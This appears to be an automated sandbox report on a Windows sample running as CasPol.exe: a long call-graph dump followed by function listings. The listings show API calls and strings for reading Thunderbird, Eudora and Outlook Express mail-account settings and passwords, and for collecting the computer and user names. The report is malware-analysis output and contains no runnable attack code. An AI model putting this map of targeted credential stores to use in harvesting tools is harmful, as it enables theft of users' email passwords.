33865->33866 33867 40353f 33866->33867 33868 40357f 33867->33868 33869 403546 _mbscpy 33867->33869 33873 403985 33868->33873 34046 406d55 strlen _mbscat 33869->34046 33871 403565 _mbscat 34047 4033f0 19 API calls 33871->34047 34048 40466b _mbscpy 33873->34048 33877 4039aa 33879 4039ff 33877->33879 34049 40f460 memset memset 33877->34049 34070 40f6e2 33877->34070 34086 4038e8 21 API calls 33877->34086 33880 404785 FreeLibrary 33879->33880 33881 403a0b 33880->33881 33882 4037ca memset memset 33881->33882 34094 444551 memset 33882->34094 33884 4038e2 33884->33733 33945 40f334 334 API calls 33884->33945 33887 40382e 33888 406f06 2 API calls 33887->33888 33889 403843 33888->33889 33890 406f06 2 API calls 33889->33890 33891 403855 strchr 33890->33891 33892 403884 _mbscpy 33891->33892 33893 403897 strlen 33891->33893 33894 4038bf _mbscpy 33892->33894 33893->33894 33895 4038a4 sprintf 33893->33895 34106 4023e5 16 API calls 33894->34106 33895->33894 33898 44b090 33897->33898 33899 40fb10 RegOpenKeyExA 33898->33899 33900 403e7f 33899->33900 33901 40fb3b RegOpenKeyExA 33899->33901 33911 40f96c 33900->33911 33902 40fb55 RegQueryValueExA 33901->33902 33903 40fc2d RegCloseKey 33901->33903 33904 40fc23 RegCloseKey 33902->33904 33905 40fb84 33902->33905 33903->33900 33904->33903 33906 404734 3 API calls 33905->33906 33907 40fb91 33906->33907 33907->33904 33908 40fc19 LocalFree 33907->33908 33909 40fbdd memcpy memcpy 33907->33909 33908->33904 34111 40f802 11 API calls 33909->34111 33912 4070ae GetVersionExA 33911->33912 33913 40f98d 33912->33913 33914 4045db 7 API calls 33913->33914 33922 40f9a9 33914->33922 33915 40fae6 33916 404656 FreeLibrary 33915->33916 33917 403e85 33916->33917 33923 4442ea memset 33917->33923 33918 40fa13 memset WideCharToMultiByte 33919 40fa43 _strnicmp 33918->33919 33918->33922 33920 40fa5b WideCharToMultiByte 33919->33920 33919->33922 33921 40fa88 WideCharToMultiByte 33920->33921 33920->33922 33921->33922 33922->33915 33922->33918 33924 410dbb 10 API calls 33923->33924 33925 444329 33924->33925 34112 40759e strlen strlen 33925->34112 33930 410dbb 10 API calls 33931 444350 33930->33931 33932 40759e 3 API calls 33931->33932 33933 44435a 33932->33933 33934 444212 65 API calls 33933->33934 33935 444366 memset memset 33934->33935 33936 410b1e 3 API calls 33935->33936 33937 4443b9 ExpandEnvironmentStringsA strlen 33936->33937 33938 4443f4 _strcmpi 33937->33938 33939 4443e5 33937->33939 33940 403e91 33938->33940 33941 44440c 33938->33941 33939->33938 33940->33505 33942 444212 65 API calls 33941->33942 33942->33940 33943->33695 33944->33699 33945->33733 33946->33735 33948 40370e 33947->33948 33949 41088d 33947->33949 33948->33746 33948->33750 33949->33948 33950 4108be memcpy CoTaskMemFree 33949->33950 33950->33948 33951->33753 33952->33746 33954 40841c 33953->33954 33955 410a9c RegOpenKeyExA 33954->33955 33955->33762 33956->33768 33957->33768 33958->33772 33959->33774 33960->33768 33961->33777 33962->33783 33963->33783 33964->33786 33965->33783 33967 404656 FreeLibrary 33966->33967 33968 4045e3 LoadLibraryA 33967->33968 33969 404651 33968->33969 33970 4045f4 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 33968->33970 33969->33789 33969->33793 33971 40463d 33970->33971 33972 404643 33971->33972 33973 404656 FreeLibrary 33971->33973 33972->33969 33973->33969 33975 403cd2 33974->33975 33976 40465c FreeLibrary 33974->33976 33975->33802 33976->33975 33977->33799 33978->33806 33979->33820 33980->33814 33981->33820 33982->33820 33983->33815 33984->33820 33985->33828 33986->33828 33996 410b62 RegEnumKeyExA 33987->33996 33989 402b15 RegCloseKey 33989->33828 33993 402ad0 33993->33989 33994 402b14 33993->33994 33997 410a9c RegOpenKeyExA 33993->33997 33998 402a14 memset 33993->33998 34006 410b62 RegEnumKeyExA 33993->34006 33994->33989 33995->33828 33996->33993 33997->33993 34007 410b62 RegEnumKeyExA 33998->34007 34000 402a93 RegCloseKey 34000->33993 34002 402a48 34002->34000 34008 410a9c RegOpenKeyExA 34002->34008 34009 4027be 34002->34009 34024 410b62 RegEnumKeyExA 34002->34024 34006->33993 34007->34002 34008->34002 34010 40285a memset 34009->34010 34025 4029a2 RegQueryValueExA 34010->34025 34012 402885 34012->34010 34013 402998 RegCloseKey 34012->34013 34031 4021b6 memset 34012->34031 34013->34002 34015 402898 _mbscpy 34016 4029a2 4 API calls 34015->34016 34020 4028d4 34016->34020 34017 4029a2 RegQueryValueExA WideCharToMultiByte strlen memcpy 34017->34020 34018 410ab6 RegQueryValueExA 34018->34020 34020->34017 34020->34018 34032 401989 _mbscpy _mbscat _mbscat 34020->34032 34033 402624 10 API calls 34020->34033 34022 40296d _mbscpy 34034 4023e5 16 API calls 34022->34034 34024->34002 34026 4029dd 34025->34026 34030 4029f2 34025->34030 34027 4029f7 WideCharToMultiByte 34026->34027 34028 4029e9 34026->34028 34027->34030 34029 406f06 2 API calls 34028->34029 34029->34030 34030->34012 34031->34015 34032->34020 34033->34022 34034->34012 34035->33836 34036->33849 34037->33849 34038->33849 34039->33849 34040->33854 34041->33856 34042->33857 34043->33861 34044->33862 34045->33862 34046->33871 34047->33868 34048->33877 34087 4078ba 34049->34087 34052 4078ba _mbsnbcat 34053 40f5a3 RegOpenKeyExA 34052->34053 34054 40f5c3 RegQueryValueExA 34053->34054 34055 40f6d9 34053->34055 34056 40f6d0 RegCloseKey 34054->34056 34057 40f5f0 34054->34057 34055->33877 34056->34055 34057->34056 34058 40f675 34057->34058 34091 40466b _mbscpy 34057->34091 34058->34056 34092 4012ee strlen 34058->34092 34060 40f611 34062 404734 3 API calls 34060->34062 34067 40f616 34062->34067 34063 40f69e RegQueryValueExA 34063->34056 34064 40f6c1 34063->34064 34064->34056 34065 40f66a 34066 404785 FreeLibrary 34065->34066 34066->34058 34067->34065 34068 40f661 LocalFree 34067->34068 34069 40f645 memcpy 34067->34069 34068->34065 34069->34068 34093 40466b _mbscpy 34070->34093 34072 40f6fa 34073 4045db 7 API calls 34072->34073 34074 40f708 34073->34074 34075 404734 3 API calls 34074->34075 34080 40f7e2 34074->34080 34081 40f715 34075->34081 34076 404656 FreeLibrary 34077 40f7f1 34076->34077 34078 404785 FreeLibrary 34077->34078 34079 40f7fc 34078->34079 34079->33877 34080->34076 34081->34080 34082 40f797 WideCharToMultiByte 34081->34082 34083 40f7b8 strlen 34082->34083 34084 40f7d9 LocalFree 34082->34084 34083->34084 34085 40f7c8 _mbscpy 34083->34085 34084->34080 34085->34084 34086->33877 34088 4078e6 34087->34088 34089 4078c7 _mbsnbcat 34088->34089 34090 4078ea 34088->34090 34089->34088 34090->34052 34091->34060 34092->34063 34093->34072 34107 410a9c RegOpenKeyExA 34094->34107 34096 40381a 34096->33884 34105 4021b6 memset 34096->34105 34097 44458b 34097->34096 34108 410add RegQueryValueExA 34097->34108 34099 4445a4 34100 4445dc RegCloseKey 34099->34100 34109 410add RegQueryValueExA 34099->34109 34100->34096 34102 4445c1 34102->34100 34110 444879 30 API calls 34102->34110 34104 4445da 34104->34100 34105->33887 34106->33884 34107->34097 34108->34099 34109->34102 34110->34104 34111->33908 34113 4075c9 34112->34113 34114 4075bb _mbscat 34112->34114 34115 444212 34113->34115 34114->34113 34131 407e9d 34115->34131 34118 44424d 34119 444274 34118->34119 34139 444196 34118->34139 34150 407ef8 34118->34150 34120 407e9d 9 API calls 34119->34120 34127 4442a0 34120->34127 34122 407ef8 9 API calls 34122->34127 34123 4442ce 34164 407f90 34123->34164 34127->34122 34127->34123 34129 444212 65 API calls 34127->34129 34160 407e62 34127->34160 34128 407f90 FindClose 34130 4442e4 34128->34130 34129->34127 34130->33930 34132 407f90 FindClose 34131->34132 34133 407eaa 34132->34133 34134 406f06 2 API calls 34133->34134 34135 407ebd strlen strlen 34134->34135 34136 407ee1 34135->34136 34137 407eea 34135->34137 34167 4070e3 strlen _mbscat _mbscpy _mbscat 34136->34167 34137->34118 34168 406d01 CreateFileA 34139->34168 34141 4441a1 34142 44420e 34141->34142 34143 4441aa GetFileSize 34141->34143 34142->34118 34144 444203 CloseHandle 34143->34144 34145 4441bd ??2@YAPAXI SetFilePointer 34143->34145 34144->34142 34169 407560 ReadFile 34145->34169 34147 4441e4 34170 444059 34147->34170 34151 407f03 FindFirstFileA 34150->34151 34152 407f24 FindNextFileA 34150->34152 34153 407f3f 34151->34153 34154 407f46 strlen strlen 34152->34154 34155 407f3a 34152->34155 34153->34154 34158 407f7f 34153->34158 34156 407f76 34154->34156 34154->34158 34157 407f90 FindClose 34155->34157 34201 4070e3 strlen _mbscat _mbscpy _mbscat 34156->34201 34157->34153 34158->34118 34161 407e94 34160->34161 34162 407e6c strcmp 34160->34162 34161->34127 34162->34161 34163 407e83 strcmp 34162->34163 34163->34161 34165 407fa3 34164->34165 34166 407f99 FindClose 34164->34166 34165->34128 34166->34165 34167->34137 34168->34141 34169->34147 34171 44b090 34170->34171 34172 444066 wcslen ??2@YAPAXI WideCharToMultiByte 34171->34172 34185 44338b 6 API calls 34172->34185 34174 44409f 34175 4440bf strlen 34174->34175 34186 4434fc ??3@YAXPAX ??2@YAPAXI 34175->34186 34177 4440df memcpy 34187 443607 34177->34187 34179 44413d ??3@YAXPAX 34197 443473 9 API calls 34179->34197 34182 406f06 2 API calls 34182->34179 34184 44418f ??3@YAXPAX 34184->34144 34185->34174 34186->34177 34198 407948 free free 34187->34198 34189 443639 34199 407948 free free 34189->34199 34191 44391c 34191->34179 34191->34182 34192 407a1f 4 API calls 34194 443644 34192->34194 34193 443528 19 API calls 34193->34194 34194->34191 34194->34192 34194->34193 34195 44379d memcpy 34194->34195 34200 442d8e 9 API calls 34194->34200 34195->34194 34197->34184 34198->34189 34199->34194 34200->34194 34201->34158 34202->33520 34203->33524 34204->33531 34205->33530 34206->33537 34207->33534 34208->33529 34210 404785 FreeLibrary 34209->34210 34211 4041b3 34210->34211 34212 410808 FreeLibrary 34211->34212 34213 4041c4 34212->34213 34214 404785 FreeLibrary 34213->34214 34215 4041df 34214->34215 34220 404104 34215->34220 34219 4041eb ??3@YAXPAX 34219->33540 34221 4080d4 free 34220->34221 34222 404111 34221->34222 34223 4080d4 free 34222->34223 34224 40411c 34223->34224 34251 4078ed 34224->34251 34229 404143 34231 407a55 free 34229->34231 34230 404135 SetCurrentDirectoryA 34230->34229 34232 40414b 34231->34232 34233 407a55 free 34232->34233 34234 404153 34233->34234 34235 409a98 34234->34235 34236 409a32 5 API calls 34235->34236 34237 409aa6 34236->34237 34238 409ab9 34237->34238 34239 407a55 free 34237->34239 34241 407a55 free 34238->34241 34242 409acc 34238->34242 34240 409ab2 ??3@YAXPAX 34239->34240 34240->34238 34245 409ac5 ??3@YAXPAX 34241->34245 34243 409adf 34242->34243 34246 407a55 free 34242->34246 34244 409af2 free 34243->34244 34247 407a55 free 34243->34247 34244->34219 34245->34242 34248 409ad8 ??3@YAXPAX 34246->34248 34249 409aeb ??3@YAXPAX 34247->34249 34248->34243 34249->34244 34252 40412a 34251->34252 34253 4078f3 ??3@YAXPAX 34251->34253 34254 404a3a 34252->34254 34253->34252 34255 404a41 34254->34255 34256 40412f 34254->34256 34259 4047cb 11 API calls 34255->34259 34256->34229 34256->34230 34258 404a4c 34258->34256 34259->34258 34268 411853 RtlInitializeCriticalSection memset 34269 401455 ExitProcess GetWindowLongA SetWindowLongA EnumChildWindows EnumChildWindows 34444 40a256 13 API calls 34446 432e5b 17 API calls 34448 43fa5a 20 API calls 34271 401060 41 API calls 34451 427260 CloseHandle memset memset 34275 410c68 FindResourceA SizeofResource LoadResource LockResource 34453 405e69 14 API calls 34277 433068 15 API calls __fprintf_l 34455 414a6d 18 API calls 34456 43fe6f 134 API calls 34279 424c6d 15 API calls __fprintf_l 34457 426741 19 API calls 34281 440c70 17 API calls 34282 443c71 44 API calls 34285 427c79 24 API calls 34460 416e7e memset __fprintf_l 34289 42800b 47 API calls 34290 425115 85 API calls __fprintf_l 34463 41960c 61 API calls 34291 43f40c 122 API calls __fprintf_l 34294 411814 InterlockedCompareExchange RtlDeleteCriticalSection 34295 43f81a 20 API calls 34297 414c20 memset memset 34298 410c22 memset _itoa WritePrivateProfileStringA GetPrivateProfileIntA 34467 414625 18 API calls 34468 404225 modf 34469 403a26 strlen WriteFile 34471 40422a 12 API calls 34475 427632 memset memset memcpy 34476 40ca30 59 API calls 34477 404235 26 API calls 34299 42ec34 61 API calls __fprintf_l 34300 425115 76 API calls __fprintf_l 34478 425115 77 API calls __fprintf_l 34480 44223a 38 API calls 34306 43183c 112 API calls 34481 44b2c5 _onexit __dllonexit 34486 42a6d2 memcpy __allrem 34308 405cda 66 API calls 34494 43fedc 138 API calls 34495 4116e1 16 API calls __fprintf_l 34311 4244e6 19 API calls 34313 42e8e8 127 API calls __fprintf_l 34314 4118ee RtlLeaveCriticalSection 34500 43f6ec 22 API calls 34316 425115 119 API calls __fprintf_l 34317 410cf3 EnumResourceNamesA 34503 4492f0 memcpy memcpy 34505 43fafa 18 API calls 34507 4342f9 15 API calls __fprintf_l 34318 4144fd 19 API calls 34509 4016fd NtdllDefWindowProc_A ??2@YAPAXI memset memcpy ??3@YAXPAX 34510 40b2fe LoadIconA LoadIconA SendMessageA SendMessageA SendMessageA 34513 443a84 _mbscpy 34515 43f681 17 API calls 34321 404487 22 API calls 34517 415e8c 16 API calls __fprintf_l 34325 411893 RtlDeleteCriticalSection __fprintf_l 34326 41a492 42 API calls 34521 403e96 34 API calls 34522 410e98 memset SHGetPathFromIDList SendMessageA 34328 426741 109 API calls __fprintf_l 34329 4344a2 18 API calls 34330 4094a2 10 API calls 34525 4116a6 15 API calls __fprintf_l 34526 43f6a4 17 API calls 34527 440aa3 20 API calls 34529 427430 45 API calls 34333 4090b0 7 API calls 34334 4148b0 15 API calls 34336 4118b4 RtlEnterCriticalSection 34337 4014b7 CreateWindowExA 34338 40c8b8 19 API calls 34340 4118bf RtlTryEnterCriticalSection 34534 42434a 18 API calls __fprintf_l 34536 405f53 12 API calls 34348 43f956 59 API calls 34350 40955a 17 API calls 34351 428561 36 API calls 34352 409164 7 API calls 34540 404366 19 API calls 34544 40176c ExitProcess 34547 410777 42 API calls 34357 40dd7b 51 API calls 34358 425d7c 16 API calls __fprintf_l 34549 43f6f0 25 API calls 34550 42db01 22 API calls 34359 412905 15 API calls __fprintf_l 34551 403b04 54 API calls 34552 405f04 SetDlgItemTextA GetDlgItemTextA 34553 44b301 ??3@YAXPAX 34556 4120ea 14 API calls 3 library calls 34557 40bb0a 8 API calls 34559 413f11 strcmp 34363 434110 17 API calls __fprintf_l 34366 425115 108 API calls __fprintf_l 34560 444b11 _onexit 34368 425115 76 API calls __fprintf_l 34371 429d19 10 API calls 34563 444b1f __dllonexit 34564 409f20 _strcmpi 34373 42b927 31 API calls 34567 433f26 19 API calls __fprintf_l 34568 44b323 FreeLibrary 34569 427f25 46 API calls 34570 43ff2b 17 API calls 33185 444b36 33188 444b10 33185->33188 33187 444b3f 33189 444b1f __dllonexit 33188->33189 33190 444b19 _onexit 33188->33190 33189->33187 33190->33189 34571 43fb30 19 API calls 34380 414d36 16 API calls 34382 40ad38 7 API calls 34573 433b38 16 API calls __fprintf_l 34574 44b33b ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 34386 426741 21 API calls 34387 40c5c3 125 API calls 34389 43fdc5 17 API calls 34575 4117c8 InterlockedCompareExchange RtlInitializeCriticalSection 34392 4161cb memcpy memcpy memcpy memcpy 33200 44b3cf 33201 44b3e6 33200->33201 33203 44b454 33200->33203 33201->33203 33207 44b40e 33201->33207 33204 44b405 33204->33203 33205 44b435 VirtualProtect 33204->33205 33205->33203 33206 44b444 VirtualProtect 33205->33206 33206->33203 33208 44b413 33207->33208 33210 44b454 33208->33210 33214 44b42b 33208->33214 33211 44b41c 33211->33210 33212 44b435 VirtualProtect 33211->33212 33212->33210 33213 44b444 VirtualProtect 33212->33213 33213->33210 33215 44b431 33214->33215 33216 44b435 VirtualProtect 33215->33216 33218 44b454 33215->33218 33217 44b444 VirtualProtect 33216->33217 33216->33218 33217->33218 34580 43ffc8 18 API calls 34393 4281cc 15 API calls __fprintf_l 34582 4383cc 110 API calls __fprintf_l 34394 4275d3 41 API calls 34583 4153d3 22 API calls __fprintf_l 34395 444dd7 _XcptFilter 34588 4013de 15 API calls 34590 425115 111 API calls __fprintf_l 34591 43f7db 18 API calls 34594 410be6 WritePrivateProfileStringA GetPrivateProfileStringA 34397 4335ee 16 API calls __fprintf_l 34596 429fef 11 API calls 34398 444deb _exit _c_exit 34597 40bbf0 139 API calls 34401 425115 79 API calls __fprintf_l 34601 437ffa 22 API calls 34405 4021ff 14 API calls 34406 43f5fc 149 API calls 34602 40e381 9 API calls 34408 405983 40 API calls 34409 42b186 27 API calls __fprintf_l 34410 427d86 76 API calls 34411 403585 20 API calls 34413 42e58e 18 API calls __fprintf_l 34416 425115 75 API calls __fprintf_l 34418 401592 8 API calls 33191 410b92 33194 410a6b 33191->33194 33193 410bb2 33195 410a77 33194->33195 33196 410a89 GetPrivateProfileIntA 33194->33196 33199 410983 memset _itoa WritePrivateProfileStringA 33195->33199 33196->33193 33198 410a84 33198->33193 33199->33198 34606 434395 16 API calls 34420 441d9c memcmp 34608 43f79b 119 API calls 34421 40c599 43 API calls 34609 426741 87 API calls 34425 4401a6 21 API calls 34427 426da6 memcpy memset memset memcpy 34428 4335a5 15 API calls 34430 4299ab memset memset memcpy memset memset 34431 40b1ab 8 API calls 34614 425115 76 API calls __fprintf_l 34618 4113b2 18 API calls 2 library calls 34622 40a3b8 memset sprintf SendMessageA 33219 410bbc 33222 4109cf 33219->33222 33223 4109dc 33222->33223 33224 410a23 memset GetPrivateProfileStringA 33223->33224 33225 4109ea memset 33223->33225 33230 407646 strlen 33224->33230 33235 4075cd sprintf memcpy 33225->33235 33228 410a0c WritePrivateProfileStringA 33229 410a65 33228->33229 33231 40765a 33230->33231 33233 40765c 33230->33233 33231->33229 33232 4076a3 33232->33229 33233->33232 33236 40737c strtoul 33233->33236 33235->33228 33236->33233 34433 40b5bf memset memset _mbsicmp

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 00407EF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58filestringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileA.KERNELBASE(?,?,?,?,00444270,*.oeaccount,ACD,?,00000104), ref: 00407F0E
                                                                                                                                                                  • FindNextFileA.KERNELBASE(?,?,?,?,00444270,*.oeaccount,ACD,?,00000104), ref: 00407F2C
                                                                                                                                                                  • strlen.MSVCRT ref: 00407F5C
                                                                                                                                                                  • strlen.MSVCRT ref: 00407F64
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFindstrlen$FirstNext
                                                                                                                                                                  • String ID: ACD
                                                                                                                                                                  • API String ID: 379999529-620537770
                                                                                                                                                                  • Opcode ID: 27d5437505665631421f449a56434de01e8b3a886fb5cb3a927ed9b27628f516
                                                                                                                                                                  • Instruction ID: 71029bc486f6697817f6bb289966da7394398bd7116df025ae0cbd4ece6cffc9
                                                                                                                                                                  • Opcode Fuzzy Hash: 27d5437505665631421f449a56434de01e8b3a886fb5cb3a927ed9b27628f516
                                                                                                                                                                  • Instruction Fuzzy Hash: 581170769092029FD354DB34D884ADBB3D8DB45725F100A2FF459D21D1EB38B9408B5A
                                                                                                                                                                  Function 00401E69 Relevance: 52.8, APIs: 19, Strings: 11, Instructions: 261stringregistryCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00401E8B
                                                                                                                                                                    • Part of subcall function 00410DBB: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 00410DF2
                                                                                                                                                                  • strlen.MSVCRT ref: 00401EA4
                                                                                                                                                                  • strlen.MSVCRT ref: 00401EB2
                                                                                                                                                                  • strlen.MSVCRT ref: 00401EF8
                                                                                                                                                                  • strlen.MSVCRT ref: 00401F06
                                                                                                                                                                  • memset.MSVCRT ref: 00401FB1
                                                                                                                                                                  • atoi.MSVCRT(?), ref: 00401FE0
                                                                                                                                                                  • memset.MSVCRT ref: 00402003
                                                                                                                                                                  • sprintf.MSVCRT ref: 00402030
                                                                                                                                                                    • Part of subcall function 00410B1E: RegCloseKey.KERNEL32(000003FF,?,?,?,?,00000000,000003FF), ref: 00410B57
                                                                                                                                                                  • memset.MSVCRT ref: 00402086
                                                                                                                                                                  • memset.MSVCRT ref: 0040209B
                                                                                                                                                                  • strlen.MSVCRT ref: 004020A1
                                                                                                                                                                  • strlen.MSVCRT ref: 004020AF
                                                                                                                                                                  • strlen.MSVCRT ref: 004020E2
                                                                                                                                                                  • strlen.MSVCRT ref: 004020F0
                                                                                                                                                                  • memset.MSVCRT ref: 00402018
                                                                                                                                                                    • Part of subcall function 004070E3: _mbscpy.MSVCRT(00000000,00000000,sqlite3.dll,00402116,00000000,nss3.dll), ref: 004070EB
                                                                                                                                                                    • Part of subcall function 004070E3: _mbscat.MSVCRT ref: 004070FA
                                                                                                                                                                  • _mbscpy.MSVCRT(?,00000000), ref: 00402177
                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00402181
                                                                                                                                                                  • ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Thunderbird,?,00000104), ref: 0040219C
                                                                                                                                                                    • Part of subcall function 00406F81: GetFileAttributesA.KERNELBASE(?,00401EE6,?), ref: 00406F85
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: strlen$memset$Close_mbscpy$AttributesEnvironmentExpandFileFolderPathSpecialStrings_mbscatatoisprintf
                                                                                                                                                                  • String ID: %programfiles%\Mozilla Thunderbird$%s\Main$Install Directory$Mozilla\Profiles$Software\Classes\Software\Qualcomm\Eudora\CommandLine\current$Software\Mozilla\Mozilla Thunderbird$Software\Qualcomm\Eudora\CommandLine$Thunderbird\Profiles$current$nss3.dll$sqlite3.dll
                                                                                                                                                                  • API String ID: 52128907-4223776976
                                                                                                                                                                  • Opcode ID: 0586a96bd1dd566e4e6b01723853c75a2a65919309edaf857d44129f31cda3b9
                                                                                                                                                                  • Instruction ID: 9c65708a615aa9161e76439fb3ec4404e3c7586a7422c94cf2faf2b42662f59f
                                                                                                                                                                  • Opcode Fuzzy Hash: 0586a96bd1dd566e4e6b01723853c75a2a65919309edaf857d44129f31cda3b9
                                                                                                                                                                  • Instruction Fuzzy Hash: 2291193290515D6AEB21D6618C86FDE77AC9F58304F1400FBF508F2182EB78EB858B6D
                                                                                                                                                                  Function 004027BE Relevance: 45.6, APIs: 3, Strings: 23, Instructions: 122COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00402869
                                                                                                                                                                    • Part of subcall function 004029A2: RegQueryValueExA.KERNEL32(00000400,?,00000000,?,?,?), ref: 004029D3
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,770145ED,?,00000000), ref: 004028A3
                                                                                                                                                                    • Part of subcall function 004029A2: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000), ref: 00402A01
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,770145ED,?,00000000), ref: 0040297B
                                                                                                                                                                    • Part of subcall function 00410AB6: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00402936,?,?,?,?,00402936,?,?), ref: 00410AD5
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: QueryValue_mbscpy$ByteCharMultiWidememset
                                                                                                                                                                  • String ID: Display Name$Email$HTTP$HTTP Port$HTTP Server URL$HTTP User$HTTPMail Use SSL$IMAP$IMAP Port$IMAP Server$IMAP Use SPA$IMAP User$POP3$POP3 Port$POP3 Server$POP3 Use SPA$POP3 User$Password$SMTP$SMTP Port$SMTP Server$SMTP Use SSL$SMTP User
                                                                                                                                                                  • API String ID: 1497257669-167382505
                                                                                                                                                                  • Opcode ID: c64c38dba70c8bbb1f63c27aa7482a3f9d9ec3ce6935057e79b9b5bca8a744c6
                                                                                                                                                                  • Instruction ID: 8a18399fb9ab4dbf3293ae90a7c33dbf32d2aa74b1f684e89f9c0cb2c5d46144
                                                                                                                                                                  • Opcode Fuzzy Hash: c64c38dba70c8bbb1f63c27aa7482a3f9d9ec3ce6935057e79b9b5bca8a744c6
                                                                                                                                                                  • Instruction Fuzzy Hash: F1514CB190124DAFEF60EF61CD85ACD7BB8FF04308F14812BF92466191D7B999488F98
                                                                                                                                                                  Function 0040CF44 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 169COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00404A99: LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404AB8
                                                                                                                                                                    • Part of subcall function 00404A99: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404ACA
                                                                                                                                                                    • Part of subcall function 00404A99: FreeLibrary.KERNEL32(00000000), ref: 00404ADE
                                                                                                                                                                    • Part of subcall function 00404A99: MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404B09
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040D190
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0040D1A6
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$??3@AddressDeleteFreeLoadMessageObjectProc
                                                                                                                                                                  • String ID: $/deleteregkey$/savelangfile$Error$Failed to load the executable file !
                                                                                                                                                                  • API String ID: 745651260-375988210
                                                                                                                                                                  • Opcode ID: 281cc72733d93a48e74a4e104f31179254ddf1e53b96f5d983554f03d68ac606
                                                                                                                                                                  • Instruction ID: dea5423bbc6b84474d5379bd8edfb36e55d4f41410ab6b686afcfd17116e90de
                                                                                                                                                                  • Opcode Fuzzy Hash: 281cc72733d93a48e74a4e104f31179254ddf1e53b96f5d983554f03d68ac606
                                                                                                                                                                  • Instruction Fuzzy Hash: 0A61AF71908345EBD7609FA1EC89A9FB7E8FF85704F00093FF544A21A1DB789805CB5A
                                                                                                                                                                  Function 004082CD Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 145stringCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 159 4082cd-40841a memset * 4 GetComputerNameA GetUserNameA MultiByteToWideChar * 2 strlen * 2 memcpy 160 408450-408453 159->160 161 40841c 159->161 163 408484-408488 160->163 164 408455-40845e 160->164 162 408422-40842b 161->162 165 408432-40844e 162->165 166 40842d-408431 162->166 167 408460-408464 164->167 168 408465-408482 164->168 165->160 165->162 166->165 167->168 168->163 168->164
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040832F
                                                                                                                                                                  • memset.MSVCRT ref: 00408343
                                                                                                                                                                  • memset.MSVCRT ref: 0040835F
                                                                                                                                                                  • memset.MSVCRT ref: 00408376
                                                                                                                                                                  • GetComputerNameA.KERNEL32(?,?), ref: 00408398
                                                                                                                                                                  • GetUserNameA.ADVAPI32(?,?), ref: 004083AC
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004083CB
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004083E0
                                                                                                                                                                  • strlen.MSVCRT ref: 004083E9
                                                                                                                                                                  • strlen.MSVCRT ref: 004083F8
                                                                                                                                                                  • memcpy.MSVCRT(?,000000A3,00000010,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040840A
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
